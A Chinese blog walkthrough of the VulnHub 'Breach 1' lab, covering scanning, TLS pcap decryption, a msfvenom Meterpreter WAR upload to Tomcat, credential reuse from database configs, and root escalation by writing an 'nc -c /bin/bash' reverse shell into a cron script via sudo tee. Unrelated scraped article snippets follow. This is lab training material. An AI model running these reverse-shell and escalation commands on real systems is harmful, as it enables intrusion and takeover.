Vuluhub靶场-breach1

2023-10-26

网络设置和准备:

该靶场的ip:192.168.110.140 ,我们要设置为仅主机模式。在虚拟机中将仅主机模式的ip地址范围包含靶机的ip。在这里插入图片描述除了网络设置,还要准备两台kali。一台连接外网,一台和靶机一样要仅主机模式。

信息收集

Nmap扫描

启动靶机,启动kali攻击机。现在了解的信息就一个:IP。首先用nmap扫描端口,看看开启了什么服务。

namp -T4 -A -v 192.168.110.140

在这里插入图片描述发现端口大量的开放,推测应该是安装了蜜罐之类的防护。那我们用最常用的服务端口:80 试一试看看能否有网站服务。用浏览器,下图不是直接访问看到的页面,而是超链接的页面。
在这里插入图片描述这个页面找信息,发现最后Employee portal是连接一个网站的 Impresscms:
在这里插入图片描述

也可以用命令。

curl 192.168.110.140
在这里插入图片描述网站得到的信息很简单,就是文字信息、一张图片,超链接,以及源码中一串字符,这种字符我们要警惕一下,看看能否得到信息。解密一下。发现还是一串没有明确意义的字符,
在这里插入图片描述

那再解密,发现有了。记录下来,他的格式有点 usser:password 的形式。在这里插入图片描述

目录扫描

这里信息得到了,先把目录扫描一下,看看是否有发现。

dirb http://192.168.110.140
在这里插入图片描述

CMS指纹识别

工具:whatweb 或者 cmseek 可以查出开源的cms的信息。
CMS(内容管理系统)是 Impresscms,
识别出来可以用 MSF工具查找该版本的CMS有什么漏洞 命令:searchsloit impresscms

whatweb -v http://192.168.110.140/impresscms(这里截的图不对,但意思差不对)
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述并没有发现该版本的漏洞。

CMS后台信息收集

上面的得到信息有:一串解密后的字符、CMS。
我们开始对cms着手,
用得到的字符试一下能否登录 【如果登录不了的话,有其他的方法:暴力破解、sql注入等方式】
这里是可以登录的 (这里就对应了刚开始的信息,网站不是又黑客攻击,而是内部员工)
在这里插入图片描述登录后台,我们就要仔细的查看信息了,找的过程中有两个文件下载。
第一个 keystore文件
在这里插入图片描述在这里插入图片描述另一个文件.pcap文件
在这里插入图片描述文章中还提到了 keypassword 是 tomcat
在这里插入图片描述
我们打开pcap文件看看,是抓包的文件,
在这里插入图片描述

HTTP流量分析

上面抓包文件查看信息,是否有可利用的信息。发现有的。TLS协议是一个加密的协议, .keystore文件:密钥和证书储存的地方。导出用java的JDK带的keytool工具

keytool -importkeystore -srckeystore D:\Download\keystore -destkeystore D:\download\tocmat.p12 -deststoretype PKCS12 -srcalias tomcat
密码是tomcat
在这里插入图片描述
在D盘下得到一个tocmat.p12文件,用它去wireshark中解密的

开始解密TLS
在这里插入图片描述
找到协议中的TLS ,Edit中输入IP 端口(在数据包里可以看到),协议,Keyfile是上面解的tocmat.p12文件。password是tomcat在这里插入图片描述
解密后筛选发现GET /_M@nag3Me/http 地址。可以查看一下。【利用Burpsuit的的证书来访问,直接访问是失败的】在这里插入图片描述在这里插入图片描述查看得到了一个登录页面。
在这里插入图片描述这里登录页面,我们的方法可以用暴力破解,SQL注入。但是又数据包 还是先找一下数据包里是否有信息。
在这里插入图片描述利用它试一下登录
在这里插入图片描述Tomcat的后台

Tomcat后台利用

Tomcat中间件,有文件上传的地方。因为要部署应用啊。
这里就好办了,MSF可以生成反弹链接的。【注意:反弹连接我们要用仅主机模式的kali攻击机(ip192.168.110.128),因为他们处于同一个网络下,可以连接的】
因为是上传文件,那就生成一个反弹连接的文件。步骤如下
java程序,就生成Java的反弹连接代码。

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -0 shell.war
在这里插入图片描述

把文件传入到物理机中,用Xshell连接kali,然后用命令上传

sz file shell.war

把这个shell.war文件传到靶机中,并且访问才能触发 建立连接。
触发前还要建立监听才行。
这个连接要在仅主机模式下的kali中建立监听,步骤如下

msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhoat 192.168.110.128
set lport 4444
exploit

在这里插入图片描述我们生成了反弹连接的文件,建立了监听,现在该上传了

在这里插入图片描述上传后在上方页面中会有shell文件名出现,点击一下。
在这里插入图片描述
反弹连接建立成功,可以获取一些信息,比如 sysinfo 系统信息
在这里插入图片描述
这里是非交互的命令,可以用 python实现。(前提是当前有python环境)

python -C import pty;pty spawn(“/bin/bash”)
在这里插入图片描述
到这里后一般步骤
①找操作系统的漏洞(在msf中用命令 searchsploit)
②find;ls-a 找敏感文件 隐藏文件
③history 历史命令
④su -l 看看该用户能执行的root命令

先看看操作系统的漏洞,先查版本 uname -a
在这里插入图片描述
找漏洞,没有该版本的漏洞在这里插入图片描述行不通,再找敏感文件。一般都是找 /etc/passwd

在这里插入图片描述这里看到了mysql说明有数据库,那我们想想,网站一般都用到了数据库,还要配置数据库,那这些配置文件中会用数据库的用户名和密码,哈,前面的信息中是知道用户在apache上搭建网站的,那么apache的根目录 /var/www中去找,在一个非常规的文件夹中找到了。
在这里插入图片描述登录数据库找一下。
在这里插入图片描述在这里插入图片描述上面的milton用户,密码加密了看着像MD5去解一下
在这里插入图片描述看看是不是系统用户和密码,
在这里插入图片描述登录到了上面,
查看当前目录文件:发现的信息不多,图片、脚本等。脚本里没有发现信息。
在这里插入图片描述
那就查看一下该用户的历史命令
history
这里得到还有其他用户,blumbergh用户。可以找密码。
在这里插入图片描述如何获得blumbergh用户密码呢??
这里最先前的网站里的图片才能找到。我们先下载图片。在这里插入图片描述

用命令:下载下来。

wget http://192.168.110.140/images/bill.png

在这里插入图片描述
那么如何去从图片中得到信息呢??
用很多的方法,我们用 exiftool 来获取。【也可以用strings来获取】

exiftool * | grep -i -e ‘bill.png’ -e ‘Comment’
strings bill.png

在这里插入图片描述strings获取的在这里插入图片描述su切换用户:
在这里插入图片描述这里还是老步骤

①找操作系统的漏洞(在msf中用命令 searchsploit)
②find;ls-a 找敏感文件 隐藏文件
③history 历史命令
④su -l 看看该用户能执行的root命令

查看当前目录文件
在这里插入图片描述没有发现,查看历史命令 history
在这里插入图片描述将上面命令中的一些文件查看一下。
在这里插入图片描述发现这个是一个定时任务,定时删除一些黑客攻击的文件。

再查看 sudo -l 当前用户可以执行的root权限的命令。
在这里插入图片描述两个 tee 和tidyup.sh 其中tidyup.sh 就是那个定时任务的脚本。
tee命令:用于显示程序的输出并将其复制到一个文件中。
那么我们就可以将我们攻击代码 ,写入到定时任务的文件中。那我们就可以用反弹连接提权。

nc -c /bin/bash 192.168.110.128 5555

将反弹连接输入到一个文件中,

echo “nc -c /bin/bash 192.168.110.128 5555”>> shell.txt
在这里插入图片描述

将文件输入到tidyup.sh 文件中 之前,我们先建立一个监听(新命令页面) 再仅主机的kali机中。
在这里插入图片描述
开始写入:

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

在这里插入图片描述这时我们只需等待监听结果
在这里插入图片描述这里我们是通过root权限建立的反弹连接,我们应该是有root用户权限的。
在这里插入图片描述到这里就得到了root权限连接,就可以获得 flag 了。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Vuluhub靶场-breach1 的相关文章

  • 如何检查程序是否在 Windows 上的 Ubuntu 上的 Bash 中运行,而不仅仅是普通的 Ubuntu?

    非常简单 确定您所使用的操作系统的通常位置似乎与 Ubuntu for Windows 上的普通 Ubuntu 相同 例如uname a与本机 GNU Linux 安装相同并且 etc os version与 Ubuntu Trusty T
  • 输出bash脚本的结果

    例如 如果我选择运行一个 bash 脚本 该脚本将输出 回显 时间 例如CheckDate sh 我如何从 Java 运行它 然后在我的 Java 程序中打印 bash 脚本的结果 日期 试试这个代码 String result null
  • Linux 中如何确定哪个进程正在使用某个端口

    我目前正在其默认端口上运行 RethinkDB 因为如果我将浏览器指向localhost 8080我看到 RethinkDB Web 界面 我想关闭 RethinkDB 并使用以下命令在另一个端口上重新打开它 port offset争论 然
  • 什么是 Linux 上易于使用的 C++ 分析器? [关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我需要分析一些在 Linux 上运行 C 的代码 你们能推荐一些分析器吗 使用 gprof 只需编译 pg标志 我认为 但不确定 你必须关
  • 如果从 Java 启动,子进程将忽略 SIGQUIT

    举这个简单的例子 public class Main public static void main String args throws Exception Runtime getRuntime exec sleep 1000 This
  • ELF 文件头

    关于 elf 文件头的一个简单问题 我似乎找不到任何关于如何在 elf 头中添加 更改字段的有用信息 我希望能够更改幻数并向标题添加构建日期 以及可能的其他一些内容 据我了解 链接器创建标头信息 但我在 LD 脚本中没有看到任何引用它的内容
  • Python 在打开套接字时可以选择哪个网络适配器吗?

    运行 python 应用程序的目标计算机将具有三个可用的网络接口 一般来说 所有三个网络都会有很大不同 但是三个网络中的两个可能位于相似的网络上 在下面的示例中 我无法控制 ETH 2 上的目标地址 因为它是预先配置的系统 因此我被迫以编程
  • 如果执行 shell 失败,jenkins 构建不会失败

    作为构建过程的一部分 我运行 git commit 作为执行 shell 步骤 但是 如果工作区中没有任何更改 Jenkins 将导致构建失败 这是因为当没有要提交的更改时 git 返回错误代码 如果是这种情况 我想要么中止构建 要么将其标
  • 我如何知道哪个 /dev/input/eventX (X=0..7) 有 Linux 输入流?

    我正在尝试捕获 Linux 键盘 鼠标输入 并且我正在读取类似的事件 dev input event2 但似乎输入有时会定向到 dev input event2 有时到 dev input event3 我想知道是否有一个地方可以找出哪个流
  • Linux 上的 头文件在哪里?为什么我找不到 ? [复制]

    这个问题在这里已经有答案了 可能的重复 如何在Linux中实现C的getch 函数 https stackoverflow com questions 3276546 how to implement getch function of c
  • 在我的 Linux 机器上安装 lisp

    我使用 Vim 作为我的编辑器 Practical common Lisp 建议安装 Lispbox 我不知道如何使用 emacs 不知道如何用那个 T T 运行 lisp 代码 之后我找到了一个名为 limp vim 的 vim lisp
  • 哪个信号被传递到信号处理程序中死锁的进程

    我有一个来自调用信号处理程序后死锁的进程的核心转储 如何确定传送了哪个信号以及是谁发送的 GDB 为接收信号的线程生成的回溯如下 信号处理程序在第 15 帧中被调用 gdb bt 0 0x00007fa9c204654b in sys fu
  • 如何在没有 root 访问权限的情况下在 Ubuntu 上安装 Google Test?

    我正在尝试根据以下方式安装 Google Test这个答案 https stackoverflow com a 21314020 6560773在没有 root 访问权限的 Ubuntu 上 因为我需要在工作中学习和使用它 设法在我自己的用
  • 获取后台进程的退出代码

    我有一个从我的主 bourne shell 脚本中调用的命令 CMD 该命令需要很长时间 我想修改脚本如下 作为后台进程并行运行命令 CMD CMD 在主脚本中 有一个循环每隔几秒监视生成的命令 该循环还向标准输出回显一些消息 指示脚本的进
  • Linux下对多个文件进行排序

    我有多个 很多 文件 每个都非常大 file0 txt file1 txt file2 txt 我不想将它们合并到一个文件中 因为生成的文件将超过 10 场演出 每个文件中的每一行都包含一个 40 字节的字符串 现在字符串的排序相当好 大约
  • 编译错误:linux/module.h:没有这样的文件或目录

    我写了一个简单的模块 define KERNEL define MODULE include
  • Java Linux 非阻塞套接字超时行为

    我有一个 Java 非阻塞服务器 它跟踪选择器中的所有套接字通道 然后我与服务器建立 500 个连接并定期发送数据 服务器接收到的每条数据都会回显给客户端 问题来了 测试工作了几个小时 然后突然逐渐地 服务器管理的所有套接字在尝试读取数据时
  • 在 docker windows 上运行 linux 容器

    我在 Windows 10 机器上安装了 Docker for Windows 它要求我启用 HyperV 功能 一切都安装正确并且运行良好 虽然有一件事让我大吃一惊 我实际上能够在 docker windows 上运行 Linux 容器
  • x86-64 上这个语句有什么问题?

    该函数的目的是获取堆栈的起始地址 unsigned long find start void asm movq rsp eax 当我编译它时 出现错误 Error suffix or operands invalid for movq mo
  • 使用 cmake 和 opencv 对符号“gzclose”的未定义引用[关闭]

    Closed 这个问题是无法重现或由拼写错误引起 help closed questions 目前不接受答案 我尝试构建该项目 doppia https bitbucket org rodrigob doppia 但发生链接错误 我想这是一

随机推荐

  • css的三种引入方式

    目录 三种引入方式 1 行内样式 2 内部样式 内嵌式 3 外部样式 3 1外链式 3 2导入式 引入方式的优先级 三种引入方式 1 行内样式 行内样式就是直接把css样式添加在HTML标签中 作为style样式的属性值
  • DDR4 设计概述以及分析仿真案例(硬件学习)

    转载 DDR4 设计概述以及分析仿真案例 硬件设计讨论 EDA365电子论坛网 引言 随着计算机 服务器的性能需求越来越高 DDR4开始应用在一些高端设计中 然而目前关于DDR4的资料非常少 尤其是针对SI 信号完整性 部分以及相关中文资料
  • ODBC 各种数据库连接串

    Overview Generally one of the first steps when you are trying to work with databases is open it You can find several typ
  • 查看及配置交换机管理地址

    查看及配置交换机管理地址 问题 交换机是目前用于组建局域网的主要设备 交换机根据MAC地址表实现数据帧的转发 通过查看MAC地址表更加有利于交换机工作原理的理解 通过查看CISCO设备邻居信息来了解网络拓扑 通过telnet方式远程访问 配
  • Selenium+python之隐藏浏览器的“Chrome正在受到自动软件的控制“提示语

    在执行测试用例 细心的人都会发现 浏览器的title部分 有一句提示语 Chrome正在受到自动软件的控制 那么 能不能去掉这句提示语呢 也是没问题的 同样的 使用 headless 在浏览器中加入 disable infobars 这个参
  • pyecharts学习小总结——Bar(柱状图)、Pie(饼图)、Line(线图)、Page(页面组件)、Tab(分页组件)、Grid(组合组件)

    目录 pyecharts常用模块总结 Bar 柱状图 1 旋转x轴标签 2 添加工具箱 3 柱状图与折线图混合 4 标注x轴名称 5 设置垂直的一天时间线 6 旋转x和y轴 Pie 饼图 1 设置位置和半径大小 Line 线图 1 设置平滑
  • pip install scipy时发生zipfile.BadZipFile: File is not a zip file解决办法

    应该是下载时发生了丢包 我在官网下载时 只有14M 切换到豆瓣源有30M 附上地址 https pypi doubanio com simple scipy
  • java程序移植_java JDBC 提高程序可移植性

    介绍jdbc一般的程序 程序编程相关 jb oracle weblogic c 很多java初学者在开始接触jdbc编程的时候 在网上与大部分的教材上都是这样 推荐阅读 Java线程入门 什么是线程 import java sql 扩展信息
  • 预训练语言模型(PLMs)综述

    预训练语言模型 PLMs 内容来自AACL 2022 Tutorial https d223302 github io AACL2022 Pretrain Language Model Tutorial https d223302 gith
  • Mysql进阶索引篇02——InnoDB存储引擎的数据存储结构

    前言 前面我们已经剖析了mysql中InnoDB与MyISAM索引的数据结构 了解了B 树的设计思想 原理 并且介绍了B 树与Hash结构 平衡二叉树 AVL树 B树等的区别和实际应用场景 页和页之间并不一定在物理上相连 只是在逻辑上使用双
  • java内存

    在java视频中 一直强调java内存的重要性 如果真正理解 了java内存的分配情况和程序运行时的java内存 那么你会对 java编程的思想 会更加深刻 Java内存分配与管理是Java的核心技术之一 Java的内存分配有三种 一 静态
  • 使用WPD API操作MTP设备一些总结

    使用WPD API操作MTP设备总结 本文分为两部分 1 WPD基本架构和概念的理解 2 使用WPD API操作MTP 拷贝 删除 设备 1 WPD基本架构和概念 1 1 WPD架构 原文 https docs microsoft com
  • Vue脚手架的安装配置以及使用

    安装Vue脚手架 1 需要安装nodejs支持 去nodejs官网下载对应版本的nodejs 可以使用installer 选择安装目录点击安装 也可以使用binary文件 直接选择文件夹解压缩 安装完成后如上图所示 然后配置环境变量 1 添
  • C++中指针和应用有哪些区别?

    a 指针是一个新的变量 存储了另一个变量的地址 我们可以通过访问这个地址来修改另一个变量 引用只是一个别名 还是变量本身 对引用的任何操作就是对变量本身进行操作 以达到修改变量的目的 b 引用只有一级 而指针可以有多级 c 指针传参的时候
  • show processlist 命令执行结果解释

    show full processlist show processlist 显示哪些线程正在运行 也可以通过 INFORMATION SCHEMA PROCESSLIST 表或 mysqladmin processlit 获取这些信息 如
  • 设计模式-状态模式(State)

    文章目录 前言 状态模式的核心概念 状态模式的用途 示例 状态模式的Java实现 状态模式优缺点 总结 前言 当我们需要在对象的生命周期中管理不同状态时 状态模式 State Pattern 是一种有用的设计模式 在这篇博客中 我们将介绍状
  • 免费的 PPT 模版资源

    1 第一 PPT 第一PPT站内资源以免费下载为基础 本着开放的共享为原则 服务于国内广大国内PPT爱好者 目前第一PPT站内的所有PowerPoint资源 PPT模板 PPT背景 PPT 素材 PPT教程 PPT软件 均是免费下载 所以请
  • openVPN服务端搭建

    搭建步骤 云服务器 Ubuntu 20 04 1 LTS 搭建服务端 公网IP 47 215 测试客户端 部门内部成员的windows10 或者windows11 及mac电脑 还有现场linux环境 最后目标是实现所有客户端之间能够互联
  • Electron桌面程序开发入门

    1 Electron结合vue项目配置 Electron是利用web前端技术进行桌面应用开发的一套框架 是由 github 开发的开源框架 允许开发者使用 Web 技术构建跨平台的桌面应用 它的基本结构 Electron Chromium
  • Vuluhub靶场-breach1

    网络设置和准备 该靶场的ip 192 168 110 140 我们要设置为仅主机模式 在虚拟机中将仅主机模式的ip地址范围包含靶机的ip 除了网络设置 还要准备两台kali 一台连接外网 一台和靶机一样要仅主机模式 信息收集 Nmap扫描